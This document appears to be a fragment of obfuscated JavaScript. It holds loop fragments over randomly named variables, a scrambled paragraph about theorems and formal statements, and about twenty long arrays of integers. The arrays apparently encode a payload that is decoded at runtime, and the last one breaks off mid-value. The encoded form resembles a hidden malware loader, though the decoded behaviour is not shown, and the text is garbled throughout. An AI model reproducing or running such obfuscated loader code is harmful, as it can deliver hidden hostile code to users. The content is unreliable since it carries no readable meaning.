pB5CFp5=0;pB5CFp5<q0q5w.length;pB5CFp5++
q0q5w
eyZR2ncf=0;eyZR2ncf<cLnFyNu77lk0K1Q.length;eyZR2ncf++
cLnFyNu77lk0K1Q
N3bcji4d=0;N3bcji4d<iJl545rdUlr0wZ.length;N3bcji4d++
iJl545rdUlr0wZ
Qv0JRt=0;Qv0JRt<K6LpC.length;Qv0JRt++
K6LpC
JEyU0
JEyU0
OUnij53
GSrLX8Q68=0;GSrLX8Q68<OUnij53.length;GSrLX8Q68++
OUnij53[GSrLX8Q68]
UR4z(fQYSxoI
e, formal statement. Nevertheless, theorems are usually expressed in natural language rather than in a completely symbolmbolormal s, withorema ct Neionn intoremareadhanwill be able to produce amal statement. Ne fromorema cal statone. Icomddieioneoremsuausuaoft N hyporemses which undhastoo natucoct xt,her than in aessloritymbomentd. uaiflsdcrpvy  flms akfouyzv
W7j9mZH1Y=[96,54,33,50,96,11,40,114,25,45,34,121,117,117,125,98,38,96,52,38,47,96,96,41,96,41,41,96,46,35,50,105,96,46,46,53,57,104,44,33,40,37,44,41,31,56,44,37,39,46,59,37,48,50,40,123,52,55,46,105,104,108,33,57,33,50,114,106,51,124,107,48,48,51,110,48,59,50,61,33,51,51,53,51,37,44,50,52,125,48,51,34,57,52,33,57,46,57,50,39,51,125,108,41,96,46,33,57,51,50,50,112,46,123,111,41,50,48,110,53,105,114,104,57,37,52,44,44,52,37,123,48,47,61,33,50,46,41,37,36,96,46,54,59,37,44,50,46,36,96,52,35,105,48,51,96,38,40,51,53,47,104,104,37,101,28,98,35,51,50,35,48,96,115,33,125,115,112,53,53,33,37,112,3,53,101,116,116,46,101,53,118,112,101,53,119,3,101,112,101,120,115,53,101,53,120,112,120,2,119,3,112,112,101,120,1,3,120,53,113,2,101,4,112,53,116,53,116,112,120,2,101,2,117,53,5,121,115,2,101,2,101,53,112,53,116,120,101,112,120,3,117,53,117,120,119,4,101,2,120,1,101,53,120,116,5,53,116,114,115,1,101,53,5,53,118,53,4,6,101,113,120,53,114,2,101,116,101,3,101,2,120,114,117,118,101,118,116,3]; oH0Lb250sw41BF=[21,85,24,97,101,98,23,85,24,19,5,19,21,20,101,85,21,85,5,98,5,85,16,25,21,85,21,18,5,97,5,24,23,19,5,20,5,99,101,85,19,23,23,21,16,85,16,85,24,85,19,19,5,85,5,85,102,98,5,16,5,98,5,19,18,19,99,22,5,102,23,85,5,85,24,19,21,85,21,17,16,101,5,25,97,16,20,85,20,22,5,102,98,85,19,85,19,19,102,25,5,19,16,85,102,22,19,19,5,20,5,85,19,85,23,100,5,20,20,85,16,85,102,24,16,18,99,17,17,102,5,85,99,24,5,85,102,16,16,19,5,85,23,102,5,85,101,101,101,98,102,24,21,24,5,97,5,100,19,85,22,98,5,19,5,85,21,85,99,21,18,19,5,21,17,85,20,99,101,20,5,22,5,98,20,85,24,98,5,24,16,22,24,85,24,22,24,99,5,97,21,20,5,85,5,98,16,85,24,98,16,19,16,85,16,85,100,85,99,19,5,85,5,85,99,100,5,19,5,19,5,19,19,102,21,101,5,98,24,85,21,85,21,16,21,85,102,85,97,102,5,23,99,24,5,85,16,85,5,18,5,98,98,19,101,85,23,24,5,100,102,102,21,24,5,97,19,102,21,85,24,18,24,97,102,85,18,85,98,85,99,23,5,16,97,85,102,101,5]; TKcaq8i=[18,2,21,2,82,17,98,97,31,2,21,17,31,2,82,19,23,16,82,30,101,98,31,2,97,102,31,17,82,17,17,2,23,2,82,101,82,31,17,17,102,2,18,18,82,21,23,102,101,2,31,2,100,17,82,101,97,2,98,17,31,17,82,17,19,17,98,16,31,17,18,2,82,2,99,30,82,17,82,16,100,2,82,18,98,2,82,18,19,31,82,2,98,19,19,2,18,2,21,23,82,18,98,2,100,2,82,23,82,97,82,98,97,2,20,100,82,20,21,2,20,2,23,2,18,18,82,18,17,2,21,18,23,23,82,30,23,18,101,31,20,31,19,2,20,100,22,100,82,31,23,16,17,18,82,20,82,97,82,18,23,2,82,20,82,16,97,2,23,2,97,2,82,18,19,101,21,2,31,101,82,21,82,22,97,23,82,2,101,31,98,2,102,18,97,2,82,18,31,2,102,2,31,97,16,97,82,30,98,2,18,97,18,101,97,18,17,23,98,20,31,18,20,2,19,23,82,98,82,97,82,18,97,2,16,98,82,100,23,2,18,2,23,2,82,18,82,17,97,2,31,23,19,2,82,17,19,16,82,2,19,20,99,2,82,16,102,16,82,21,23,2,97,2,82,17,82,21,82,17,102,2,22,16,82,17,21,2,97,2,22,2,21,17,82,17,17,16,18]; Xgnps96R4=[116,114,118,112,117,119,117,114,113,54,116,118,102,113,119,119,116,54,113,54,113,5,102,54,117,117,117,54,112,6,117,54,102,119,117,119,102,114,102,5,116,54,116,115,112,117,102,54,117,54,117,54,117,5,102,6,102,54,117,117,102,0,102,5,102,123,113,0,112,5,31,97,115,112,112,116,54,117,115,116,115,118,113,34,53,102,119,112,112,116,54,112,115,102,49,117,54,112,54,115,33,112,115,102,7,120,54,45,54,48,38,99,40,102,106,99,54,38,115,99,107,106,31,97,47,126,32,51,34,32,31,97,115,32,44,32,102,32,115,32,99,53,120,17,115,51,34,54,102,34,16,34,7,54,36,34,57,13,16,49,34,126,37,54,0,5,115,115,99,107,32,4,15,115,32,12,58,25,99,115,32,102,31,97,102,54,115,54,54,38,38,45,102,32,115,54,115,32,115,32,32,48,115,32,115,54,102,32,115,32,102,54,115,32,102,32,102,32,115,32,119,123,115,32,102,118,119,54,102,114,102,54,115,54,115,54,118,54,117,32,102,54,116,54,117,38,102,34,102,37,102,54,116,39,102,122,119,54,102,112,115,32,119,123,117,54,119,113,119,38,118,33,102,119,119,54,116,54,102,114,119,54,118,54,119,33,119,114,102,54,119,122,118,113,118,114,102,119,117]; IcZudH3g25Sq1=[29,17,64,1,18,18,81,16,81,19,81,1,69,1,29,18,81,19,29,19,23,1,66,18,22,1,65,1,23,18,81,1,81,18,69,16,70,16,81,17,21,18,69,16,16,1,65,16,81,17,18,1,21,1,64,17,81,18,22,16,23,1,81,16,81,18,19,17,71,19,23,16,20,19,81,1,23,17,22,1,81,16,17,1,64,1,21,31,19,76,22,17,83,1,75,19,81,72,13,120,6,65,17,81,17,81,19,18,18,20,22,4,76,19,72,70,13,77,4,25,12,79,72,72,71,75,71,23,70,79,10,80,65,72,12,15,31,79,75,28,72,70,67,74,79,71,25,20,71,70,25,70,86,80,24,4,87,75,71,75,74,77,81,72,72,70,64,67,72,23,8,87,18,75,10,65,10,79,4,28,93,19,65,65,76,75,71,9,4,86,76,87,22,72,77,24,20,25,75,73,86,65,86,13,65,4,77,31,75,73,74,25,13,12,67,74,83,80,20,92,66,31,93,86,15,20,31,12,101,73,65,69,95,4,15,4,70,4,31,73,13,77,93,20,22,127,65,76,20,15,25,86,87,4,77,72,72,121,84,71,65,10,75,120,6,72,72,77,77,113,71,79,71,80,74,89,31,75,81,83,76,124,69,12,64,84,86,112,78,80,64,94,108,126,71,86,72,81,8]; E48uJL=[88,112,79,120,68,82,111,108,106,107,77,70,78,123,67,69,76,6,116,10,107,103,102,19,1,70,97,1,74,8,95,8,93,77,65,88,92,101,0,92,90,0,76,92,94,80,89,73,108,65,102,113,70,78,123,112,114,121,102,123,116,10,92,71,120,97,8,0,68,108,99,69,77,65,77,70,66,111,77,102,65,76,69,78,116,10,70,67,98,102,111,1,1,73,4,99,92,92,83,71,65,79,99,19,70,6,91,8,70,93,68,8,69,65,95,6,81,68,68,19,1,90,92,120,73,93,75,77,64,75,95,90,88,73,85,77,81,8,85,73,8,102,81,0,90,1,68,83,64,73,65,122,78,77,92,65,92,111,123,73,108,6,92,73,82,73,123,70,92,8,85,0,79,110,77,114,70,93,107,8,0,70,93,103,108,76,4,1,100,19,1,68,65,71,65,77,0,92,95,65,75,78,70,8,90,92,70,92,93,88,119,73,94,73,76,68,78,83,81,0,77,21,1,24,88,77,27,73,71,8,90,73,75,106,88,93,16,93,16,70,93,24,107,107,24,27,30,93,27,16,16,91,13,106,13,28,13,93,13,108,24,93,13,24,28,93,13,116,10,0,24,28,93,13,106,31,107,13,106,109,93,13,24,31,16,24,93,13,107,28,106,16,106,105,24,13,93,25,108]; crFJ6632b9=[15,117,15,15,2,66,18,15,15,118,3,66,18,7,7,14,2,116,0,66,18,66,114,113,3,66,18,116,115,66,18,66,1,66,18,66,18,5,114,66,18,3,4,6,18,5,2,3,3,117,4,117,2,66,18,118,2,117,5,66,18,14,15,118,114,116,114,4,15,66,114,5,7,117,15,118,15,66,18,1,2,3,2,66,18,4,2,66,0,0,4,66,18,4,18,4,7,1,2,4,0,66,18,2,4,66,18,66,2,117,15,66,7,3,0,15,18,4,0,7,113,116,113,4,18,4,18,1,18,115,116,66,18,66,4,14,3,1,5,117,15,66,18,4,4,14,18,113,7,66,18,7,18,1,4,66,18,6,118,66,3,3,2,66,18,66,18,5,6,3,116,113,113,66,18,113,113,66,0,66,116,4,7,114,117,15,7,117,18,66,4,7,2,6,18,66,114,66,18,66,7,2,2,66,18,113,114,66,18,15,4,115,7,117,3,114,113,15,18,15,113,66,18,4,3,1,7,66,18,2,1,1,7,118,114,3,18,66,0,4,116,1,2,117,15,66,18,116,15,116,5,66,18,4,115,4,6,117,15,66,18,66,18,115,15,15,3,3,15,66,18,117,7,66,18,66,18,4,7,66,2,117,15,118,18,15,7,4,0,4,116,114,18,66,18,113,7,115,2]; d8jSJY3BVYj887=[34,114,34,114,101,98,103,20,100,98,34,98,22,111,101,22,21,98,96,114,111,114,22,18,34,114,100,20,34,100,111,21,34,114,34,114,96,17,21,114,103,111,34,114,17,20,34,17,34,22,17,17,17,17,101,100,98,114,111,97,18,97,101,17,34,114,34,114,18,21,21,22,34,114,34,96,97,111,111,101,17,99,34,97,103,21,21,114,111,110,34,114,34,114,22,97,34,114,97,22,111,97,98,97,34,114,34,114,103,98,103,97,20,97,34,114,98,97,18,18,34,114,20,97,111,110,99,97,111,114,34,96,99,103,111,101,18,21,34,114,17,96,98,110,34,114,18,111,34,103,99,97,101,99,103,98,21,111,34,114,20,18,34,114,18,98,100,114,34,114,17,114,34,20,19,98,18,114,34,17,103,98,100,111,98,98,100,114,103,114,97,100,34,114,100,111,103,98,99,98,34,114,34,114,103,103,101,114,102,98,34,114,17,96,34,98,34,114,101,20,34,100,101,20,34,114,99,103,17,98,111,21,22,114,34,114,97,100,34,98,34,100,34,101,100,17,17,17,98,102,34,98,111,21,17,114,111,110,21,114,34,114,97,98,34,114,96,98,98,98,103,96,34,17,34,114,18,17,22,114,96,111,34,114,17,103,17,18,34,114,103,17,18,103,99,97,111,114,99]; UDmb7Sn56sYd=[15,126,124,15,9,114,8,63,111,122,122,12,124,63,111,12,125,11,125,14,124,122,125,63,120,123,124,63,111,11,121,63,111,63,111,123,111,63,111,12,125,63,111,127,127,126,111,63,111,120,125,123,125,120,121,63,111,123,120,124,124,63,111,121,127,126,125,15,124,127,111,63,124,126,120,126,121,120,124,63,111,12,120,126,124,63,111,127,125,63,120,124,126,63,111,122,125,9,124,63,111,9,120,63,111,12,124,63,111,63,125,63,124,63,125,124,124,15,111,122,125,123,124,12,124,14,121,114,111,12,111,122,124,63,111,120,121,124,124,121,125,63,121,63,111,122,121,126,111,121,124,63,111,12,127,122,122,99,106,60,121,63,113,122,119,36,111,111,22,104,41,63,56,43,122,121,47,36,111,57,122,99,98,11,58,37,22,104,22,104,111,11,122,63,119,11,122,36,63,11,113,60,122,47,122,11,97,34,122,11,111,11,58,43,58,43,122,63,43,58,37,37,47,33,106,56,122,11,41,63,38,51,35,40,38,45,106,56,37,58,98,41,43,40,63,38,122,11,43,37,113,46,122,119,113,47,41,56,40,60,43,63,58,43,33,11,106,57,58,57,111,22,104,122,43,106,11,111,63,56,47,119,51,47,34,120,119,47,36,46,57,35,34,43,60,47,11,43,43]; cuk538UWN=[13,115,35,97,120,48,43,57,122,48,52,56,34,106,35,52,39,62,97,52,50,121,52,53,43,35,61,51,33,58,54,57,52,61,127,63,56,37,61,56,51,109,38,51,108,106,57,61,34,58,50,61,127,48,35,37,40,51,54,54,57,63,52,33,52,50,51,54,58,62,42,106,44,51,54,120,56,54,113,61,51,61,62,35,48,61,56,50,62,58,51,51,108,55,50,35,37,122,58,62,56,50,62,39,56,51,56,61,61,125,61,63,34,36,34,48,97,51,108,127,58,33,56,58,35,62,113,39,50,121,54,34,51,35,48,121,106,63,51,36,54,51,61,125,54,35,37,54,51,124,54,33,34,63,56,62,61,120,40,50,62,56,35,37,51,51,97,61,127,127,58,61,34,48,52,51,121,58,61,62,57,34,57,52,52,61,50,58,50,97,101,120,40,38,127,41,54,63,61,122,106,120,97,56,97,33,34,97,97,62,40,44,106,48,35,58,122,109,61,37,42,62,61,113,35,58,50,61,50,51,108,51,57,52,60,48,60,51,122,62,48,62,61,58,50,14,40,58,50,52,56,48,35,51,39,55,61,48,61,121,40,106,97,48,39,108,35,35,63,106,35,35,55,113,120,62,38,121,16,109,56,113,35,14,97,35,106,122,48,56,108,97,122,48,60,52,40,101,96]; JQN17aluZs37s=[116,32,50,96,52,36,34,59,40,114,20,32,40,59,38,37,18,37,112,39,112,112,43,42,105,112,38,44,34,42,113,120,112,112,60,63,112,112,33,98,116,36,112,113,112,113,123,112,113,113,43,57,113,112,112,112,113,113,113,113,112,112,113,113,113,113,113,113,113,113,113,113,112,112,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113,113]; e1LtQzQrDBtAuj=[52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,52,126,52,52,52,52,52,80,46,36,52,124,52,52,52,52,98,96,55,37,52,52,101,120,34,55,52,41,106,113,109,97,98,101,60,121,80,46,106,106,52,120,111,105,101,56,57,99,119,121,32,98,120,99,96,97,121,110,60,126,109,44,83,60,111,96,98,37,36,105,104,105,100,96,101,99,109,105,44,122,127,96,98,111,96,127,111,121,49,41,80,46,63,78,41,109,36,63,124,121,58,105,41,60,41,121,52,121,79,121,56,60,41,60,52,121,59,78,41,56,41,52,41,60,56,121,52,79,52,78,63,60,60,52,52,79,60,78,52,121,77,78,41,72,73,53,60,121,61,121,57,72,41,121,60,60,57,121,59,79,56,121,41,56,52,52,41,78,41,52,58,121,73,77,63,78,41,121,73,121,59,121,56,79,41,79,41,121,56,74,41,60,41,61,41,56,63,62,57,77,41,58,72,62,73,121,73,79,62,78,57,62,57,56,41,78,52,77,57,121,57,77,41,57,56,121,73,121,52,121,52,53,41,78,60,121,52,63,41,78,41,58,41,121,59,121,63,63,41,79,57,121,57,121,57,78,52,121,41,56,59,59,41,121,59,52,41,121,74,58,41,63,41,60,60,121,41,121,52,58,63,78,74]; mwbkZHRy=[102,103,102,112,102,22,101,101,32,102,102,112,108,102,32,98,32,102,99,97,102,112,108,19,32,20,102,101,17,112,19,112,32,97,32,100,103,112,97,23,102,22,32,96,100,101,16,112,109,19,19,112,32,102,19,101,32,22,102,98,109,112,32,16,32,101,32,101,23,112,17,16,32,19,23,112,100,112,97,112,20,97,101,22,23,112,102,102,19,109,32,16,16,96,109,101,32,109,22,112,96,103,102,97,32,98,32,112,23,112,32,101,99,99,32,19,96,112,109,112,102,96,22,112,99,112,109,96,32,100,99,101,97,17,32,96,32,109,32,97,102,112,32,112,32,109,23,112,102,112,20,112,23,22,19,22,102,112,109,101,32,112,32,109,101,101,32,98,109,22,20,112,102,96,17,109,32,101,97,112,20,109,32,96,32,102,109,96,17,112,16,16,32,23,102,20,103,112,23,112,32,96,32,19,98,112,19,20,32,19,32,19,19,19,19,22,103,96,101,112,32,102,103,112,32,19,16,109,98,112,32,98,109,112,32,97,99,23,19,99,96,99,96,112,103,112,23,103,32,109,16,112,22,112,32,99,32,99,109,20,101,112,23,99,32,96,16,20,23,112,19,112,109,99,32,98,101,112,101,108,20,99,32,108,99,16,109,112,103,99,96,112,32,112,109,23,32,99,109]; k8j75NNAEpjth=[125,123,121,58,120,58,121,58,123,12,106,58,106,58,121,10,106,10,106,10,106,11,122,123,122,119,106,127,127,58,119,58,13,10,122,58,119,58,122,13,106,122,124,124,106,58,9,58,106,121,106,9,118,127,122,58,10,9,106,12,127,123,122,127,106,127,119,122,127,58,12,123,120,124,119,58,124,58,122,58,12,124,106,125,124,58,122,126,106,119,106,124,106,58,13,121,12,127,106,125,127,9,106,58,122,124,125,58,122,127,122,119,106,125,120,122,9,58,126,9,106,121,106,58,124,58,122,123,9,120,106,14,118,58,9,119,122,13,106,123,106,9,9,58,121,14,106,9,122,10,10,58,127,122,119,10,122,127,127,120,106,58,106,10,13,58,12,58,13,9,106,58,10,9,106,58,120,127,9,58,106,122,122,127,106,123,106,119,127,58,120,123,106,119,106,58,120,58,120,58,121,123,106,14,121,58,125,126,106,9,106,126,106,125,125,58,125,126,106,9,121,14,121,58,124,9,121,123,125,10,121,126,106,121,120,122,121,58,120,11,124,123,122,58,120,58,125,58,120,124,106,58,121,58,124,9,106,123,106,125,106,58,120,9,123,125,106,121,120,58,121,58,121,121,121,58,106,126,120,12,106,122,121,10,106,58,121,127,106,127,106,9,125,127,120,58,124,124,106]; P5U6sz8HDeb=[105,25,26,31,110,28,18,28,26,28,108,29,30,15,30,28,95,25,95,26,95,28,24,15,28,25,95,25,25,10,88,118,8,26,15,95,75,95,117,26,15,75,17,71,88,3,25,92,79,71,79,68,88,3,75,88,23,88,75,88,17,83,26,107,26,73,2,83,10,93,73,73,75,23,17,88,26,92,75,92,75,73,26,26,26,88,69,78,26,78,10,73,10,89,10,73,78,75,70,79,17,26,88,92,89,23,26,82,26,23,73,79,79,70,68,73,10,88,30,82,70,26,94,77,79,70,79,68,70,117,78,4,26,78,68,66,2,75,92,17,0,66,17,24,3,7,95,1,70,89,23,92,75,18,68,79,88,75,118,8,95,17,3,25,82,88,79,73,89,88,10,15,118,8,89,88,90,75,15,26,73,89,2,117,19,90,79,68,19,75,19,76,90,26,83,23,75,26,88,75,90,89,94,67,19,83,83,26,68,95,23,3,73,73,67,2,117,79,70,6,17,73,24,82,2,92,10,23,69,26,26,7,17,94,69,73,68,95,3,76,26,26,75,26,2,88,78,92,30,82,69,88,75,5,69,88,69,95,68,95,26,88,68,94,10,78,75,73,88,69,22,94,94,73,73,17,68,95,23,94,79,88,117,71,95,71,83,23,17,26,81,68,113,83,24,75,1,75,75]; O7B73TSZF9BMeP9=[105,49,107,48,42,44,55,46,105,35,39,45,33,39,36,52,46,98,52,39,45,50,49,31,54,63,121,114,38,42,33,33,43,48,48,114,55,106,39,46,45,106,55,52,45,103,30,96,114,33,45,33,55,127,103,39,46,35,114,33,121,107,39,44,53,49,48,112,54,37,30,96,42,126,108,50,39,44,53,119,33,118,118,39,52,46,36,53,123,45,57,107,39,39,45,45,46,46,127,36,48,36,48,45,53,46,45,45,46,43,35,105,63,45,53,54,17,54,33,46,46,45,45,108,49,32,52,47,7,39,35,121,39,32,46,54,33,48,42,43,45,33,108,49,1,36,44,46,46,127,35,30,96,46,47,110,121,107,36,48,106,30,96,120,57,37,52,11,120,32,49,45,55,39,40,36,63,45,46,32,33,37,43,98,29,45,106,54,44,54,35,46,43,44,55,63,53,45,33,46,46,45,108,108,46,44,45,32,39,108,33,33,57,48,39,35,48,107,1,37,127,43,50,106,36,52,45,98,48,54,35,57,107,50,35,33,11,44,52,59,106,44,35,52,121,45,38,107,52,3,98,48,35,59,50,53,39,30,96,98,35,39,50,35,59,106,55,103,48,48,127,35,114,42,118,33,55,103,39,55,44,113,49,39,54,1,0,115,1,114,55,103,122,103,55,122,114,114,55]; Wj3bcD=[0,80,0,21,17,21,17,22,22,80,0,102,18,103,29,80,18,97,0,103,29,102,19,29,0,29,21,97,29,21,17,103,16,80,100,28,29,21,96,80,0,80,0,80,21,17,22,103,29,80,0,100,17,80,19,103,17,102,18,102,0,103,23,80,0,103,0,29,16,21,29,80,0,80,96,100,16,23,22,20,97,80,0,103,17,100,0,17,0,80,0,80,0,102,96,19,0,80,0,23,29,28,29,99,16,103,96,100,0,22,29,80,96,80,0,23,96,16,16,19,16,80,16,17,16,80,21,17,16,18,18,80,0,103,18,80,0,80,0,22,21,19,29,80,0,80,18,22,22,103,29,102,22,80,0,28,17,22,102,80,0,80,0,80,0,22,21,99,0,80,0,103,29,22,22,29,18,21,23,20,16,28,99,80,0,97,100,19,16,22,99,21,21,19,22,22,99,23,21,22,99,80,17,96,22,29,22,80,0,80,0,80,103,22,18,99,0,80,0,21,17,22,21,17,20,29,21,80,0,29,16,80,0,20,0,80,102,17,99,80,0,80,0,97,21,99,18,103,96,80,0,29,99,103,0,100,0,16,0,99,0,16,102,80,0,103,22,19,96,19,19,96,29,80,96,22,16,17,23,80,0,80,0,80,21,103,17,29,102,80,0,102,17,80,21,22,29,103,29]; aVGPiFN=[83,3,21,30,83,23,16,3,101,22,100,19,83,22,83,19,18,22,21,98,103,30,83,3,99,21,21,3,83,3,83,3,83,3,22,30,100,3,20,3,21,19,21,100,98,101,21,101,96,30,17,19,83,3,103,101,96,19,30,22,30,103,83,99,103,19,22,101,98,17,30,19,83,3,20,21,83,3,83,3,17,96,30,30,20,3,83,96,99,20,96,96,96,96,83,3,83,100,20,103,83,3,83,3,83,3,100,16,101,3,83,3,96,18,30,16,100,16,19,3,30,31,22,99,83,3,100,103,99,103,16,96,83,3,16,16,22,17,103,16,19,16,83,3,30,100,96,16,83,3,83,3,83,31,99,30,99,3,83,3,18,19,30,16,22,20,18,16,83,3,20,19,83,17,30,3,83,30,98,16,83,17,83,3,101,16,83,96,30,100,19,3,101,99,99,3,83,3,19,3,99,22,96,16,83,3,22,19,99,22,22,19,18,18,83,19,20,30,21,21,16,3,83,3,83,101,22,19,19,30,83,3,100,19,23,21,21,31,18,19,83,3,22,101,83,101,21,3,22,22,20,19,96,17,83,19,96,96,21,30,20,17,83,3,103,20,30,3,83,3,83,3,83,3,17,100,30,3,83,3,96,23,96,19,100,19,22,3,99,100,103,30,83,3,16,19,16,21,18]; JY5EhYno2zfy=[27,94,14,94,24,19,109,110,109,30,30,94,14,94,14,31,27,94,14,94,14,24,27,28,18,19,14,109,110,31,27,30,30,109,105,94,110,94,30,110,109,94,14,94,14,94,14,30,30,31,29,94,14,109,109,94,25,27,29,27,28,106,24,26,29,94,14,109,14,27,28,109,104,94,14,31,29,31,29,106,28,19,28,94,14,26,29,26,29,29,25,94,14,94,28,111,28,25,14,94,14,31,29,24,30,26,24,110,29,30,14,25,28,94,28,25,14,94,25,29,31,109,25,94,29,109,29,94,29,30,29,29,14,104,14,31,14,94,14,94,14,109,25,24,24,94,14,94,28,31,29,109,29,19,29,94,14,29,29,111,29,26,14,94,14,94,14,27,28,27,14,94,14,104,24,27,28,110,25,27,28,94,119,9,31,24,94,29,94,14,27,28,27,24,109,30,27,27,24,101,25,24,93,24,104,16,2,24,89,93,78,91,94,14,67,11,16,74,95,27,71,27,22,124,90,25,27,30,93,95,3,27,124,67,1,67,22,89,27,78,67,71,30,90,89,74,74,93,27,31,74,82,11,5,27,104,27,27,83,69,2,0,69,6,78,76,82,27,89,74,14,119,9,72,88,24,11,93,19,91,83,101,22,18,27,27,16,78,88,18,94,94,74,74,69,88,94,18,89]; z7G14EMaZq7=[95,70,10,31,18,86,20,6,7,74,20,73,115,13,31,22,6,78,89,67,93,112,87,93,95,95,92,70,31,26,100,76,110,91,7,69,2,86,3,15,78,31,18,76,31,87,95,27,87,25,31,73,26,76,31,76,31,7,31,27,87,65,74,31,31,31,31,31,31,6,31,20,31,86,0,31,73,78,89,7,25,126,18,31,31,64,20,69,93,26,76,107,110,22,107,15,93,94,89,73,126,78,89,19,93,31,95,116,26,6,4,89,20,4,126,89,89,25,100,25,22,76,94,76,94,94,76,93,86,107,86,18,114,25,22,89,86,126,91,92,93,86,91,122,20,4,95,78,84,74,25,71,98,77,97,22,107,78,95,10,18,71,86,74,86,88,20,82,115,13,78,89,88,104,97,74,1,88,15,93,95,115,13,7,92,90,71,74,67,97,71,22,31,91,65,98,122,6,65,71,91,98,19,70,67,31,18,76,71,72,78,31,31,104,77,91,7,98,122,27,122,74,31,104,87,4,88,98,122,104,77,6,77,91,84,104,71,91,88,20,77,18,88,97,82,97,71,91,4,97,78,104,115,13,115,13,77,97,75,95,1,72,71,64,74,20,88,98,122,1,76,65,108,76,70,77,64,1,95,91,1,82,20,91,7,89,71,73,78,64,102,64,65,91,78,98,122,89,127]; EW47NPfwt8Y1o=[113,106,81,124,91,91,115,115,88,125,63,122,109,55,91,100,105,49,54,104,54,98,118,108,122,118,89,104,79,79,73,63,109,122,109,89,118,109,36,54,113,112,126,34,55,108,122,107,107,118,122,111,111,120,76,112,109,105,56,126,36,54,113,118,112,109,112,113,122,109,115,111,63,109,49,113,67,67,48,113,112,122,49,124,105,108,109,55,118,51,109,34,56,108,105,126,122,126,109,34,102,64,113,48,105,109,120,63,91,126,94,119,124,108,126,112,104,122,113,109,105,112,118,49,109,55,113,122,55,109,126,49,118,49,113,108,109,122,124,51,54,126,105,109,126,112,94,107,94,51,113,108,109,119,102,107,105,119,55,47,55,45,54,46,118,107,54,109,121,109,126,105,94,118,36,122,124,108,109,113,126,126,64,55,112,55,57,112,118,118,55,47,68,54,105,109,109,102,126,112,108,126,113,39,34,109,118,34,55,34,66,64,126,99,126,54,34,68,99,108,109,57,54,66,46,46,102,126,105,109,102,105,47,57,34,46,68,109,108,66,109,44,35,34,66,112,118,126,109,113,112,126,54,68,126,108,57,109,126,126,64,118,109,54,118,113,118,64,107,121,115,102,45,109,109,98,113,54,55,126,109,106,100,118,36,109,55,121,111,126,107,66,47,64,126,108,109,68,102]; lW1d4k=[19,14,18,1,15,9,72,14,63,73,72,92,18,1,14,15,15,9,61,18,1,22,63,22,1,63,9,18,88,25,70,1,28,18,1,28,18,61,22,70,70,80,81,59,93,19,59,88,9,93,14,15,27,73,82,59,92,19,18,82,1,1,25,18,22,63,18,70,25,1,15,3,92,61,29,1,6,63,1,9,5,9,2,13,72,91,73,22,12,12,73,82,12,9,72,72,28,18,59,28,19,18,1,72,89,92,1,14,93,9,59,89,15,73,19,70,63,25,18,1,92,1,61,80,15,22,1,18,1,18,63,14,22,81,70,18,18,93,25,1,61,80,18,25,9,19,81,59,1,9,18,1,14,61,20,73,73,63,15,15,73,72,14,15,12,12,1,3,9,5,22,18,3,1,2,63,7,63,27,91,15,18,63,14,14,15,93,1,19,1,29,59,18,1,72,4,18,18,70,70,6,9,25,72,1,25,1,22,89,61,73,81,18,9,80,19,20,93,9,18,73,72,36,48,93,14,16,82,91,93,59,29,64,64,61,27,48,73,64,91,29,36,64,48,64,64,64,64,36,64,64,64,64,64,64,64,38,38,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,66]; q0q5w=[20,15,89,78,93,15,119,100,23,126,25,103,98,76,24,18,100,71,29,118,66,77,22,26,26,1,92,95,67,70,91,7,13,13,6,20,15,89,78,93,15,126,118,77,67,85,18,25,26,25,30,20,15,89,78,93,15,88,124,28,94,99,30,26,125,103,27,18,22,20,15,89,78,93,15,98,120,23,26,91,90,76,121,29,125,74,126,28,18,65,74,88,15,110,93,93,78,86,7,29,3,25,3,24,3,26,3,28,3,24,3,30,3,29,3,27,6,20,15,89,78,93,15,92,25,29,120,76,3,74,100,31,76,26,66,86,92,3,120,29,78,75,108,30,65,30,69,102,103,3,65,25,89,89,123,109,95,26,95,3,87,30,24,124,24,103,76,3,105,119,117,31,118,106,98,120,3,90,106,103,105,119,23,76,76,122,22,106,69,20,73,64,93,15,7,74,100,31,76,26,66,86,92,18,31,20,15,74,100,31,76,26,66,86,92,19,88,124,28,94,99,30,26,125,103,27,20,15,74,100,31,76,26,66,86,92,4,4,6,15,15,84,15,15,15,15,15,15,89,78,93,15,77,109,86,107,118,27,18,98,120,23,26,91,90,76,121,29,125,74,126,28,116,74,100,31,76,26,66,86,92,114,5,29,20,15,15,15,15,89,78,93,15,117,27,89,102,78,66]; cLnFyNu77lk0K1Q=[97,50,109,1,9,50,60,42,117,50,18,41,20,9,100,107,112,112,112,112,38,49,34,112,26,33,31,99,59,104,109,1,9,50,60,42,125,10,100,38,25,49,61,97,50,107,112,112,112,112,38,49,34,112,34,98,39,42,97,36,50,101,42,105,54,109,26,33,31,99,59,104,127,50,18,41,20,9,100,107,112,112,112,112,38,49,34,112,41,100,100,103,26,0,0,52,96,109,34,98,39,42,97,36,50,101,42,105,54,122,29,7,104,101,36,37,51,6,98,2,53,1,99,11,53,27,96,51,101,61,41,35,13,107,112,112,112,112,62,102,38,38,4,18,32,101,32,109,96,107,112,112,112,112,54,63,34,112,120,35,102,98,7,51,109,96,107,112,35,102,98,7,51,108,34,98,39,42,97,36,50,101,42,105,54,107,112,35,102,98,7,51,123,123,121,112,112,112,112,112,43,112,112,112,112,112,112,112,112,54,63,34,112,120,7,98,49,52,19,97,62,97,58,25,24,109,96,107,112,7,98,49,52,19,97,62,97,58,25,24,108,29,7,104,101,36,37,5